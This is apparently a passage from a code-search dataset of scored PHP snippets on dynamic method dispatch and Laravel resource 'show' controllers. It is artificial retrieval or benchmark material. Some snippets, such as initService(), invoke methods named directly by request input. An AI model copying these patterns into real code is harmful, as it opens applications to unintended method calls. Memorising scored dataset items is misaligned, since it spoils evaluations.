(array_key_exists($name, $this->params)) {\n $val = $this->params[ $name ];\n }\n // Otherwise use default value if present\n elseif ($param->isOptional()) {\n $val = $param->getDefaultValue();\n }\n // Otherwise throw error\n else {\n throw new \\Exception(\"Parameter '$name' is required\");\n }\n\n $args[] = $val;\n }\n\n // Call method\n return $method->invokeArgs($this->handler, $args);\n }", "title": "" }, { "docid": "f6beb00b332fa21facd45fd64389b810", "score": "0.58884287", "text": "protected function loadMethodToCall()\n\t{\n\t\t$this->routingDo->setMethod(explode('/', $this->route)[1]);\n\t}", "title": "" }, { "docid": "30eca780ee5ec19055b91f1492004034", "score": "0.5870236", "text": "public function __call($method, $args)\n {\n \n }", "title": "" }, { "docid": "4efd1928b376f1562e3eab503c17fd34", "score": "0.58672667", "text": "public function onDispatch($service_name, $method_name, $arguments) {\r\n $service_class_path = str_replace(\".\", \"/\", $service_name);\r\n\r\n $lib_dirs = $this->getProjectLibDirectories();\r\n $service_path = null;\r\n foreach ($lib_dirs as $lib_dir) {\r\n $lib_dir = $lib_dir.DIRECTORY_SEPARATOR.'services'.DIRECTORY_SEPARATOR;\r\n\r\n if(file_exists($lib_dir.$service_class_path.'.class.php')) {\r\n $service_path = $lib_dir.$service_class_path.'.class.php';\r\n break;\r\n }\r\n else if(file_exists($lib_dir.$service_class_path.'.php')) {\r\n $service_path = $lib_dir.$service_class_path.'.php';\r\n break;\r\n }\r\n }\r\n\r\n if (null == $service_path) {\r\n throw new Exception('Service file for '.$service_name.' does not exist in any lib-folder');\r\n }\r\n\r\n require_once ($service_path);\r\n\r\n $serviceParts = explode(\".\", $service_name);\r\n $class_name = array_pop($serviceParts);\r\n if(!class_exists($class_name)) {\r\n throw new Exception('Class for Service '.$service_name.' does not exist');\r\n }\r\n\r\n $instance = new $class_name;\r\n\r\n\r\n if(!is_callable(array($instance, $method_name))) {\r\n throw new Exception('Service class does not have '.$method_name.' method');\r\n }\r\n\r\n $result = call_user_func_array(\r\n array($instance, 'run'),\r\n array($method_name, $arguments)\r\n );\r\n\r\n return $result;\r\n }", "title": "" }, { "docid": "d9976887b9fc6a821842ad2ea1e3230d", "score": "0.5866636", "text": "protected function initService() {\n\t\tif (!isset($_GET['service'])) return;\n\t\t$method\t= $_GET['service'];\n\t\tif (!method_exists($this, $method)) return;\n\t\t$this->$method();\n\t}", "title": "" }, { "docid": "feaf79e96833ec4a805eaf555ebc66c1", "score": "0.58641934", "text": "public function __call( $method, $args ){\n $method_parts = explode( '_', $method );\n $action = array_shift( $method_parts );\n \n // Dynamic functions to set a condition and trigger load with a pattern load_by_field_name( value )\n if( $action == 'load' ){\n array_shift( $method_parts );\n $field = implode( '_', $method_parts );\n $this->conditions( array($field => $args[0]) );\n return $this->load( );\n }\n \n // Dynamic function to get a copy of SQL stetement with a pattern get_type_query( )\n if( $action == 'get' && $method_parts[1] == 'query' ){\n $query_type = $method_parts[0];\n return $this->sqlize( $query_type );\n }\n \n // Dynamic functions to set a condition and trigger update with a pattern update_for_field( value )\n if( $action == 'update' && $method_parts[0] == 'where' ){\n array_shift( $method_parts );\n $field = implode( '_', $method_parts );\n $this->conditions( array($field => $args[0]) );\n return $this->update( );\n }\n \n // Dynamic functions to set a condition and trigger remove with a pattern remove_where_field( value )\n if( $action == 'remove' && $method_parts[0] == 'where' ){\n array_shift( $method_parts );\n $field = implode( '_', $method_parts );\n $this->conditions( array($field => $args[0]) );\n return $this->remove( );\n }\n\n // Dynamic functions to execute a custom query against a specific output behaviour\n // Allowed paterns are \n // ( i) sql($query, args ) Returns query status or Resource id\n // ( ii) sql_query_status($query, $args ) Returns query status or Resource id\n // ( iii) sql_last_insert_id($query, $args ) Returns last insert id\n // ( iv) sql_last_insert_ids($query, $args ) Returns array of last insert ids in case of multiple record insertion\n // ( v) sql_num_affected_rows($query, $args ) Returns number of effected rows\n // ( vi) sql_data($query, $args ) Returns data set\n if( $action == 'sql' ){\n $type = NULL;\n if( !empty($method_parts) ){\n $type = implode( '_', $method_parts );\n $type = constant( strtoupper($type) );\n }\n\n switch ( $type ) {\n case LAST_INSERT_ID:\n $this->switch_db( ACTIVE );\n $res = call_user_func_array( 'db_query', $args );\n $last_insert_id = db_last_insert_id( $this->table_info['table'], $this->get_primary_key( ) ); \n $this->switch_db( RESET );\n return $last_insert_id;\n break;\n case LAST_INSERT_IDS:\n $this->switch_db( ACTIVE );\n $res = call_user_func_array( 'db_query', $args );\n $affected_rows = db_affected_rows( );\n $last_ids = array( );\n if( $affected_rows == 1 ){\n $last_ids[] = db_last_insert_id( $this->table_info['table'], $this->get_primary_key( ) );\n }else if( $affected_rows > 1 ){\n $pk = $this->get_primary_key( );\n $last_ids = $this->fields( array($pk) )->sort(array(\"$pk DESC\"))->limit($affected_rows)->load( );\n }\n $this->switch_db( RESET );\n return array_reverse( $last_ids );\n break;\n case NUM_AFFECTED_ROWS:\n $this->switch_db( ACTIVE );\n $res = call_user_func_array( 'db_query', $args );\n $affected_rows = db_affected_rows( );\n $this->switch_db( RESET );\n return $affected_rows;\n break;\n case DATA:\n $this->switch_db( ACTIVE );\n $res = call_user_func_array( 'db_query', $args );\n $results = array( );\n while( $rec = db_fetch_array($res) ){\n $results[] = $rec;\n }\n $this->switch_db( RESET );\n return $results;\n break;\n case QUERY_STATUS:\n default:\n $this->switch_db( ACTIVE );\n $res = call_user_func_array( 'db_query', $args );\n $this->switch_db( RESET );\n return $res;\n break; \n } // End switch statement\n } // End sql action\n }", "title": "" }, { "docid": "e4f676ef7282c98c3252768acc5a9b36", "score": "0.58495426", "text": "public function processRequest($method, $data) {\n // PHP Supports variable functions\n // As long as all function names match the gateway methods i can just do this\n $request = array($this->handler, $method);\n if(is_callable($request))\n return $this->handler->$method($data);\n else {\n $request = array($this->handler, \"default\");\n if(is_callable($request))\n return $this->handler->default($data);\n else {\n header($_SERVER['SERVER_PROTOCOL'] . \" 500 Internal Server Error\", true, 500);\n die();\n }\n }\n }", "title": "" }, { "docid": "c5908ebbe2b45328572f27650b621d4c", "score": "0.5834254", "text": "function myCallHandler($methodname, $args)\r\n{\r\n global $soapclass;\r\n return call_user_func_array(array($soapclass, $methodname), $args);\r\n}", "title": "" }, { "docid": "962866a020699b64b1e4a77d00cfafee", "score": "0.5833716", "text": "private function _callControllerMethod() {\n\n $length = count($this->_url);\n\n\n // Make sure the method been called exists\n if ($length > 1) {\n if (!method_exists($this->_controller, $this->_url[1])) {\n $this->_error();\n return false;\n }\n }\n\n\n // Determine what to load\n switch ($length) {\n case 5:\n // controller->Method(param, param, param)\n $this->_controller->{$this->_url[1]}($this->_url[2], $this->_url[3], $this->_url[4]);\n break;\n\n case 4:\n // controller->Method(param, param)\n $this->_controller->{$this->_url[1]}($this->_url[2], $this->_url[3]);\n break;\n\n case 3:\n // controller->Method(param)\n $this->_controller->{$this->_url[1]}($this->_url[2]);\n break;\n\n case 2:\n $this->_controller->{$this->_url[1]}();\n break;\n\n default:\n $this->_controller->index();\n break;\n }\n }", "title": "" }, { "docid": "222bdd91a0cc08099f987c5242148235", "score": "0.5833462", "text": "public function handle()\n {\n $action = $this->getAction();\n\n $method = \"call\" . ucfirst($action);\n\n if (!method_exists($this, $method)) {\n $this->error(\"Method not found\");\n return;\n }\n $this->$method();\n }", "title": "" }, { "docid": "b45a993655114988ceee36a09a82936b", "score": "0.5833171", "text": "public function call($data){\n\n $className = $this->class;\n\n $class = new $className($data);\n\n if(!method_exists($class,$this->method)) {\n throw new BadRequestHttpException(\"Method {$this->method} not found in class $className\");\n }\n\n return call_user_func_array(array($class, $this->method), array($this->matches));\n }", "title": "" }, { "docid": "9cd9faf6ab4e95d6b9a366ef3aed9bd3", "score": "0.5816666", "text": "public function perform(){\n try {\n return $this->method->invokeArgs($this->controller->newInstance(),$this->extractRequestParams());\n } catch(ReflectionException $e){\n throw $e;\n }\n }", "title": "" }, { "docid": "ceb5da30528e95dca54c6cf99fee02a9", "score": "0.58053225", "text": "public function __call(string $method, array $params)\n {\n }", "title": "" }, { "docid": "0afd9a5b33e9bf5bb1bc80e10d4f9847", "score": "0.5797442", "text": "private function generate_service_proxy_method(ReflectionMethod $m, $info) {\n if (!$m->isPublic()) {\n return;\n }\n $params = array();\n $pnames = array();\n foreach ($m->getParameters() as $p) {\n if ($p->isOptional()) {\n $default = $p->getDefaultValue() ? $p->getDefaultValue() : \"false\";\n $params[] = \"\\${$p->name}={$default}\";\n } else {\n $params[] = \"\\${$p->name}\";\n }\n $pnames[] = \"\\${$p->name}\";\n }\n $pr = join(\", \", $params);\n $pn = join(\", \", $pnames);\n\n $call = \"{$m->class}.{$m->name}\";\n $this->context .= \" public function {$m->name}({$pr}){\\n\";\n $this->context .= \" global \\$DB;\\n\";\n if (isset($info['auth'][$m->name])) {\n $role = $info['auth'][$m->name];\n $this->context .= \" if (!isAuthorized('$role')) {\\n\";\n $this->context .= \" throw new AuthorizationException('$call');\\n\";\n $this->context .= \" }\\n\";\n }\n $tx = false;\n if (isset($info['tx_and_log'][$m->name]) &&\n $info['tx_and_log'][$m->name] !== \"notx\") {\n $tx = true;\n $this->context .= \" try {\\n\";\n $this->context .= \" \\$DB->beginTransaction();\\n\";\n if ($info['tx_and_log'][$m->name] !== \"nolog\") {\n $this->context .= \" auditLog('$call');\\n\";\n }\n }\n $this->context .= \" \\$result = \\$this->actual->{$m->name}({$pn});\\n\";\n if ($tx) {\n $this->context .= \" \\$DB->commit();\\n\";\n $this->context .= \" } catch (Exception \\$e) {\\n \";\n $this->context .= \" \\$DB->rollBack();\\n\";\n $this->context .= \" throw \\$e;\\n\";\n $this->context .= \" }\\n\";\n }\n $this->context .= \" return \\$result;\";\n $this->context .= \" }\\n\";\n }", "title": "" }, { "docid": "7785054f9bc6a7e15493fe7cb8b72919", "score": "0.5794282", "text": "protected function callCommandMethod()\n {\n $preparedArguments = [];\n /** @var Argument $argument */\n foreach ($this->arguments as $argument) {\n $preparedArguments[] = $argument->getValue();\n }\n $commandResult = call_user_func_array([$this, $this->commandMethodName], $preparedArguments);\n if (is_string($commandResult) && $commandResult !== '') {\n $this->response->appendContent($commandResult);\n } elseif (is_object($commandResult) && method_exists($commandResult, '__toString')) {\n $this->response->appendContent((string)$commandResult);\n }\n }", "title": "" }, { "docid": "a36ef9699e2d21c5ede1264bbfa9f290", "score": "0.57898235", "text": "public function processApi()\n {\n $key_check = md5(self::str);\n $check = explode(\"|\",$_REQUEST['rquest']);\n $page = $check[0];\n $key = $check[1];\n $Token = $check[2]; // nnnn\n \n if($key === $key_check)\n {\n \t$func = strtolower(trim(str_replace(\"/\",\"\",$page)));\n \tif((int)method_exists($this,$func) > 0)\n \t$this->$func();\n \telse\n \t$this->response('',404);\n \t// If the method not exist with in this class, response would be \"Page not found\".\n }\n \n else\n {\n \t$this->response('',404);\n }\n }", "title": "" }, { "docid": "2c66bc7118cea1006a4fe75f4d666325", "score": "0.5784656", "text": "public function __call($method, array $params)\n {\n $method = $this->getServiceMethodName($method);\n return parent::__call($method, $params);\n }", "title": "" }, { "docid": "a153fd1d5371b5f5e7c2f6b6723f4921", "score": "0.57836246", "text": "public function __call($method, $arguments);", "title": "" }, { "docid": "a153fd1d5371b5f5e7c2f6b6723f4921", "score": "0.57836246", "text": "public function __call($method, $arguments);", "title": "" }, { "docid": "a153fd1d5371b5f5e7c2f6b6723f4921", "score": "0.57836246", "text": "public function __call($method, $arguments);", "title": "" }, { "docid": "dfae238b512959d14d5ca4fd59feba92", "score": "0.57821375", "text": "public function __call($method, array $args = []);", "title": "" }, { "docid": "8f41c6f02dbcced8111bc525410a223d", "score": "0.5779182", "text": "public function callMethods(){\n $this->setRequest();\n $this->setDataArray();\n $this->setCampaignStatistics();\n $this->setCampaignStatisticsArray();\n \n }", "title": "" }, { "docid": "ba4a4be839ce8a512ae4b5d87f9f76b0", "score": "0.57732844", "text": "public function customAPICall($method, $params = []);", "title": "" }, { "docid": "f1d3fc048898394d5bfdee3649d33f74", "score": "0.57511765", "text": "public function handleGET() {\n $handlers = array(\n 'fetch' => array($this, 'handleFetch'),\n 'restore' => array($this, 'handleRestore'),\n 'load' => array($this, 'handleLoad')\n );\n\n foreach ($handlers as $param => $handler) {\n if (isset($this->query[$param])) {\n call_user_func($handler, $this->query[$param]);\n }\n }\n }", "title": "" }, { "docid": "5360de71587a5228523dbd243139f3f4", "score": "0.57371914", "text": "function __call($method,$args)\n {\n\n }", "title": "" }, { "docid": "e7d99859ae78b9b9933de2ed4553c314", "score": "0.5735311", "text": "public function dispatch()\n {\n $base = $this->getBaseDir().ltrim($this->getRequestUri(),'/');\n $requestUri = rtrim($base, '/');\n $requestMethod = $this->getRequestMethod();\n\n /**\n * Chama o metodo correspondente\n */\n foreach ($this->getRoutes()[$requestMethod] as $route) {\n $match = $this->match($requestUri, $route['route']);\n\n if ($match[0]) {\n if (is_numeric($match[1])) {\n call_user_func($route['closure'], $match[1]);\n } else {\n call_user_func($route['closure']);\n }\n \n }\n }\n }", "title": "" }, { "docid": "e3c02b7e655fb47497d0f08fd3a1257d", "score": "0.5733218", "text": "public function __call($method, $args)\n {\n return $this->handler->$method(...$args);\n }", "title": "" }, { "docid": "aa66d96cd8a005244325c7f42ad66224", "score": "0.57322097", "text": "public function getMethod()\n\t{\n\t}", "title": "" }, { "docid": "0cda20cc33bf042b2bde15e93c2d847d", "score": "0.5730493", "text": "abstract public function __invoke(Request $request);", "title": "" }, { "docid": "153d5d0b88d46e766ac3744d12533790", "score": "0.5720682", "text": "public function execute() {\n\t\t$method = Util::toMethodName($this->params->getArgument(1));\n\n\t\tif (!$method)\n\t\t\tcall_user_func_array(array($this, '_default'), $this->params->getArguments(2));\n\t\telse if (method_exists($this, $method))\n\t\t\tcall_user_func_array(array($this, $method), $this->params->getArguments(2));\n\t\telse\n\t\t\tthrow new Exception('Unable to execute, method does not exist: '. $method);\n\t}", "title": "" }, { "docid": "30e8b527bdc976d54dc46fdf08df36bf", "score": "0.57129264", "text": "public function processRequest()\n\t{\n\t\ttry\n\t\t{\n\t\t\treturn $this->handler->callMethod($this->getPayload());\n\t\t}\n\t\tcatch(TRpcException $e)\n\t\t{\n\t\t\treturn $this->handler->createErrorResponse($e);\n\t\t}\n\t}", "title": "" }, { "docid": "870b5be36f2974cb89c61da1d4f598b7", "score": "0.57118076", "text": "private function getMethodResolve(){\n\t\treturn 'do' . $this->request->getMethod();\n\t}", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "ccd89d5349dbd8622ba03cb4c7a3e9f4", "score": "0.5710823", "text": "public function getMethod();", "title": "" }, { "docid": "d5d220df8747a50d474149667aea3334", "score": "0.57042474", "text": "public function __call($method, $args)\n\t {\n\t // you could also add method_exists check here\n\t return call_user_func_array(array($this->soapClient, $method), $args);\n\t }", "title": "" }, { "docid": "97248059ce8bddff95df81e4edc74261", "score": "0.5699125", "text": "function __call($method,$params){\n\t\treturn $this->__hessian__proxy__->call($method,$params);\n\t}", "title": "" }, { "docid": "d7369731f32caa7a030a4b3774aaf9f4", "score": "0.56960434", "text": "public function handleCall() {\n $code = '';\n if ($this->assign) $code .= $this->parseEntity($this->assign).' = ';\n if (substr($this->method, 0, 5) == 'this.') {\n $code .= '$'.str_replace('.', '->', $this->method).'('; \n } else {\n $code .= $this->adapterLink.'->'.$this->method.'('; \n }\n if (isset($this->params) && isset($this->params->param)) {\n foreach($this->params->param as $p) {\n if (isset($p->name)) {\n $code .= $this->parseEntity($p->name);\n } else {\n $code .= $this->getFieldValue($p->value);\n }\n $code .= ', ';\n }\n $code = rtrim($code, ', ');\n }\n $code .= ');';\n if (isset($this->return)) {\n $this->writeLine($this->parseEntity($this->return).' = '); \n }\n $this->writeLine($code); \n }", "title": "" }, { "docid": "a1ec8db2c76ff9f1e54c906129cb19e2", "score": "0.569276", "text": "public function __call(string $method, array $parameters): mixed;", "title": "" }, { "docid": "6c2f3d8bc9882880788c81be4f3413c3", "score": "0.5685699", "text": "private function callRequestedMethod()\n\t{\n\t\tif ($this->isConfirmed)\n\t\t{\n\t\t\t$_temp = $this->getClass();\n\t\t\t$_tempClass = new $_temp();\n\t\t\tcall_user_func(array($_tempClass, $this->getMethod()), $this->getRequests());\n\t\t\tunset($_tempClass);\n\t\t}\n\t}", "title": "" }, { "docid": "defd3794c267dc84acb78c5819ee67f4", "score": "0.56761974", "text": "public function invoke()\n {\n }", "title": "" }, { "docid": "bb68d40c66f67422246946a20741ab97", "score": "0.5672088", "text": "public final function process() {\n $this->invParamsArr = [];\n $this->missingParamsArr = [];\n\n if ($this->isContentTypeSupported()) {\n if ($this->_checkAction()) {\n $actionObj = $this->getServiceByName($this->getCalledServiceName());\n $params = $actionObj->getParameters();\n $this->filter->clearParametersDef();\n $this->filter->clearInputs();\n\n foreach ($params as $param) {\n $this->filter->addRequestParameter($param);\n }\n $this->filterInputsHelper();\n $i = $this->getInputs();\n\n if (!($i instanceof Json)) {\n $this->_processNonJson($params);\n } else {\n $this->_processJson($params);\n }\n }\n } else {\n $c = Request::getContentType();\n\n if ($c === null) {\n $c = 'NOT_SET';\n } \n $this->contentTypeNotSupported($c);\n }\n }", "title": "" }, { "docid": "db50ddd8b1cc45f1e496439fe916895c", "score": "0.56683517", "text": "public function callMethods(){\r\n $this->setRequest();\r\n $this->setDataArray();\r\n $this->setCampaignStatistics();\r\n $this->setCampaignStatisticsArray();\r\n $this->getCampaignStatisticsTable();\r\n }", "title": "" }, { "docid": "a6474fa91bf9e4c672d771cb4766c867", "score": "0.56677544", "text": "function __call($method, $params)\n\t\t{\n\t\t\t\n\t\t\tif(substr($method, -5) == \"_path\") {\n\t\t\t\treturn $this -> path($method, $params);\n\t\t\t}\n\t\t\telseif(substr($method, -4) == \"_url\") {\n\t\t\t\treturn $this -> url($method, $params);\n\t\t\t}\n\t\t\telseif(substr($method, -7) == \"_anchor\") {\n\t\t\t\treturn $this -> anchor($method, $params);\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn $this -> $method($params);\n\t\t\t}\n\t\t\t\n\t\t}", "title": "" }, { "docid": "82809a70ab37d59b7af67ed45bc65f56", "score": "0.5665433", "text": "public function __call($method, $params=null) { //$this->checkAuth();\n return new \\RGeyer\\Guzzle\\Rs\\Command\\DynamicCommandAdapter($method, $params, $this);\n }", "title": "" }, { "docid": "f22e2d03bbaa9b16cde8dfe297619ea4", "score": "0.5658014", "text": "function method_call($method, $data) {\r\n $func = strpos($method, '::') ? explode('::', $method) : $method;\r\n return call_user_func_array($func, $data);\r\n }", "title": "" }, { "docid": "abb180ac6d82455aa22616c470993f15", "score": "0.5652796", "text": "public function call(string $method_name);", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "ff30390cd115fe3b3a9be484e8fc501e", "score": "0.0", "text": "public function show($id)\n {\n $article = Article::findOrFail($id);\n// return new ArticleResource($article);\n return view('articles.show',compact('article'));\n }", "title": "" } ]
[ { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.8190437", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.8190437", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "4a213f970d44ae570e7f216941006306", "score": "0.7264416", "text": "public function setting_show_resource($resource,$resourceFile)\n {\n echo $this->_template_url . '/'.$resource.'/'.$resourceFile;\n }", "title": "" }, { "docid": "fb1ffd800184a0a42701459345c41281", "score": "0.6991857", "text": "public function show(Resource $resource)\n {\n Gate::authorize('view', $resource);\n\n return $resource;\n }", "title": "" }, { "docid": "8e9fe6c0081f8ce768620060cccb65f3", "score": "0.68753964", "text": "public function show($param)\n {\n $resource = Resource::with('tags', 'likesCount', 'user', 'category')\n ->where('id', $param)\n ->orWhere('slug', $param)\n ->firstOrFail();\n\n $initialState = [\n 'resource' => $resource,\n 'currentUser' => Auth::user()\n ];\n\n return response()->view('public.resource', [\n 'appName' => 'resource',\n 'pageName' => $resource->title,\n 'initialState' => $initialState\n ]);\n }", "title": "" }, { "docid": "48b397ea8942d2fa9785a3e43388943e", "score": "0.6725769", "text": "public function show($id)\n\t{\n\t\t$resource = Resource::with('UserResourceLink')->find($id);\n\t\treturn View::make('resources.show')->with('resource', $resource);\n\t}", "title": "" }, { "docid": "2c30b4b167b469c3db298602e7ead28d", "score": "0.6711636", "text": "private function display_item($resource, $item) {\n\t\t$db = $this->db($resource);\n\t\t$item = $db->get($item);\n\n\t\tif ($item) {\n\t\t\t echo json_encode($item);\n\t\t} else {\n\t header('HTTP/1.1 404 Not Found');\n\t }\n\t}", "title": "" }, { "docid": "95bf452408be21abf4a83c19b8bbd6fb", "score": "0.667411", "text": "public function show(string $resource, $id)\n {\n return Jory::byUri($resource)->find($id);\n }", "title": "" }, { "docid": "cd76a0fc79013f2dbdd01b09770768ec", "score": "0.6580917", "text": "public function show($id)\n {\n // $resource = Resource ::find($id);\n // return view('Resource.resource')->with('resource',$resource);\n }", "title": "" }, { "docid": "39dabc4dde3ba3c708fb3782a17fde5c", "score": "0.6434556", "text": "function show( $resource ){\n $product = get( 'products', $resource );\n\n return view( 'admin/product/view_product', compact( 'product' ) );\n}", "title": "" }, { "docid": "0d9d138ae5e21142d7d77d5c45711a1c", "score": "0.6386195", "text": "public function displayAction()\r\n\t{\r\n\t\t// set filters and validators for GET input\r\n\t\t$filters = array(\r\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\r\n\t\t);\r\n\t\t$validators = array(\r\n 'id' => array('NotEmpty', 'Int')\r\n\t\t);\r\n\t\t$input = new Zend_Filter_Input($filters, $validators);\r\n\t\t$input->setData($this->getRequest()->getParams());\r\n\r\n\t\t// test if input is valid\r\n\t\t// retrieve requested record\r\n\t\t// attach to view\r\n\t\tif ($input->isValid()) {\r\n\t\t\t$q = Doctrine_Query::create()\r\n\t\t\t->from('Webteam_Model_Video i')\r\n\t\t\t->where('i.VideoID = ?', $input->id);\r\n\t\t\t$result = $q->fetchArray();\r\n\t\t\tif (count($result) == 1) {\r\n\t\t\t\t$this->view->item = $result[0];\r\n\t\t\t} else {\r\n\t\t\t\tthrow new Zend_Controller_Action_Exception('Page not found', 404);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tthrow new Zend_Controller_Action_Exception('Invalid input');\r\n\t\t}\r\n\r\n\r\n\r\n\r\n\t}", "title": "" }, { "docid": "43c7d44dab00c2107caa033394e76a4e", "score": "0.6370414", "text": "public function display($spec = null)\n {\n $response = $this->fetch($spec);\n $response->display();\n }", "title": "" }, { "docid": "2c8806a4c1933c4361ab0e84ba707311", "score": "0.6274676", "text": "public function show()\n {\n $this->beginAction('show');\n $this->getResource();\n $this->applyHooks(AuthorizeResource::class);\n $this->formatResource();\n\n return $this->makeResponse();\n }", "title": "" }, { "docid": "f99807bc50ee366a325d9c40a162d254", "score": "0.62724066", "text": "public function actionGetInfoResource()\n\t{\n\t\t//die (print_r($_POST));\n\t\t$resource = Yii::app()->db->createCommand()->select('*')->from('ki_resource')\n\t\t\t\t\t\t\t\t->where('lang=:lang AND id=:id', array(':lang' => 'ru_ru', ':id' => $_POST['id']))\n\t\t\t\t\t\t\t\t->queryRow();\n\t\t\n\t\techo $this->renderPartial('_resourceInfo', array('resource' => $resource), true);\n\t}", "title": "" }, { "docid": "c8d2320b9dba46b7850ea9a25da02fad", "score": "0.61858386", "text": "public function viewResource($id)\n {\n $resource = carrierResource::where('resource_id',$id)->get();\n $carrierDetailUserID = carrierResource::where('resource_id',$id)->value('user_id');\n $carrierDetail = carrierDetail::where('user_id',$carrierDetailUserID)->get();\n return view ('resources.resourceDetails', ['resource'=>$resource, 'carrierDetail'=>$carrierDetail]);\n }", "title": "" }, { "docid": "d2e2e944df863de5f56668d68b5f0002", "score": "0.6169535", "text": "public function singleResource(Resource $resource)\n {\n if($resource->resource_status !== 'published')\n abort(404);\n $resource->increment('views');\n \n if (Auth::user()) {\n $userRourceVisit = UserRourceVisit::where('resource_id', $resource->id)->where('user_id', Auth::user()->id)->whereDate('created_at', Carbon::today())->first();\n if (blank($userRourceVisit)) {\n UserRourceVisit::create(['resource_id' => $resource->id, 'user_id' => Auth::user()->id]);\n }\n }\n\n $relatedResources = $this->resourceModel->relatedResources($resource);\n $resources = $this->resourceModel->getResourceByUserId($resource->user_id);\n\n return view('single-resource')\n ->withResource($resource)\n ->withRelated($relatedResources)\n ->withResources($resources);\n }", "title": "" }, { "docid": "f54a56f5688812ff54db4ce8c7ee9e8a", "score": "0.6088493", "text": "public function showAction($id)\n {\n $requestParameterHandler = $this->getRequestParameterHandler();\n $singleResourceRequestHandler = $this->get(self::SINGLE_RESOURCE_HANDLER);\n // TODO ADD Check if the user have authorisation before proceeding from the request.\n\n $resource = $singleResourceRequestHandler->process($id);\n\n if (null !== $resource) {\n $deleteFormView = $this->createDeleteForm(\n $requestParameterHandler\n );\n\n return $this->render(\n $requestParameterHandler->getThemePath(),\n array(\n $requestParameterHandler->getResourceViewName() => $resource,\n 'delete_form' => $deleteFormView,\n )\n );\n }\n // Add a message if the does't not exist.\n throw $this->createNotFoundException(sprintf('The %s %d %s', $requestParameterHandler->getResourceName(), $id, self::NOT_FOUND));\n }", "title": "" }, { "docid": "eb5ce2e515c2c4b1d34c71d116115e47", "score": "0.60823214", "text": "public function getResource($resource);", "title": "" }, { "docid": "ed3d20317cbecdf072f7b882feb64335", "score": "0.6073599", "text": "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Rack ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found',null,true);\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "title": "" }, { "docid": "1f19b3abcb62dd0bf36e4cc2e2e9a4b3", "score": "0.60681057", "text": "public function details($request, $response, $args) {\n $resource_id = $args['id'];\n $resource_details = $this->resource_gateway->get_resource_details($resource_id);\n\n return $this->view->render($response, 'resource/details.html.twig', [\n 'id' => $resource_id,\n 'resource_details' => $resource_details,\n ]);\n }", "title": "" }, { "docid": "c09849a3051e163c36ba622c042416dd", "score": "0.60172373", "text": "public function show($id)\n {\n $resource = $this->model::findOrFail($id);\n\n if (view()->exists($this->basicViewFolder . '.show')) {\n if (request()->ajax()) {\n return view($this->basicViewFolder . '.show', compact('resource'))->render();\n } else {\n return view($this->basicViewFolder . '.show', compact('resource'));\n }\n }\n\n return \" the view \" . $this->basicViewFolder . \".show not found\";\n }", "title": "" }, { "docid": "886db488fd45282953d62e88f2c58889", "score": "0.60164165", "text": "public function showAction($id) {\r\n\r\n $remote = $this->getDoctrine()\r\n ->getRepository('RemotePadMainBundle:Remote')\r\n ->find($id);\r\n\r\n if (!$remote) {\r\n return new Response(\"No Remote found. id: \" . $id, 404);\r\n }\r\n\r\n return $this->render('RemotePadMainBundle:Remote:show.html.twig', array('remote' => $remote));\r\n }", "title": "" }, { "docid": "df63d689055cf5765df52fd5165e28e7", "score": "0.5990083", "text": "abstract function show($identifier);", "title": "" }, { "docid": "ddc28327288006b3d29c6bdc8761ca44", "score": "0.598783", "text": "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "title": "" }, { "docid": "599b6dc077c4d34a9b3b0b168003b106", "score": "0.5974851", "text": "public function viewResource($resourceController, $id) {\n $values = self::getData($resourceController->wrapper($id));\n $function = __FUNCTION__;\n drupal_alter('restws_response', $values, $function, $this->formatName);\n\n return $this->serialize($values);\n }", "title": "" }, { "docid": "e8033cfc300396ea61f2cce5539e61f9", "score": "0.5959599", "text": "public function show() {\n\t\t$this->getOutput()->disable();\n\n\t\ttry {\n\t\t\techo $this->ampRenderer->render( $this->getArticle() );\n\t\t}\n\t\tcatch ( RevisionNotFound $e ) {\n\t\t\t$response = $this->getRequest()->response();\n\t\t\t$response->statusHeader( 302 );\n\t\t\t$response->header( 'Location: ' . $this->getTitle()->getFullURL() );\n\t\t}\n\t}", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "9f057a9bec094dea20c158d2ab8094d7", "score": "0.5936922", "text": "public function show(HrmAssetInformation $asset)\n {\n //\n }", 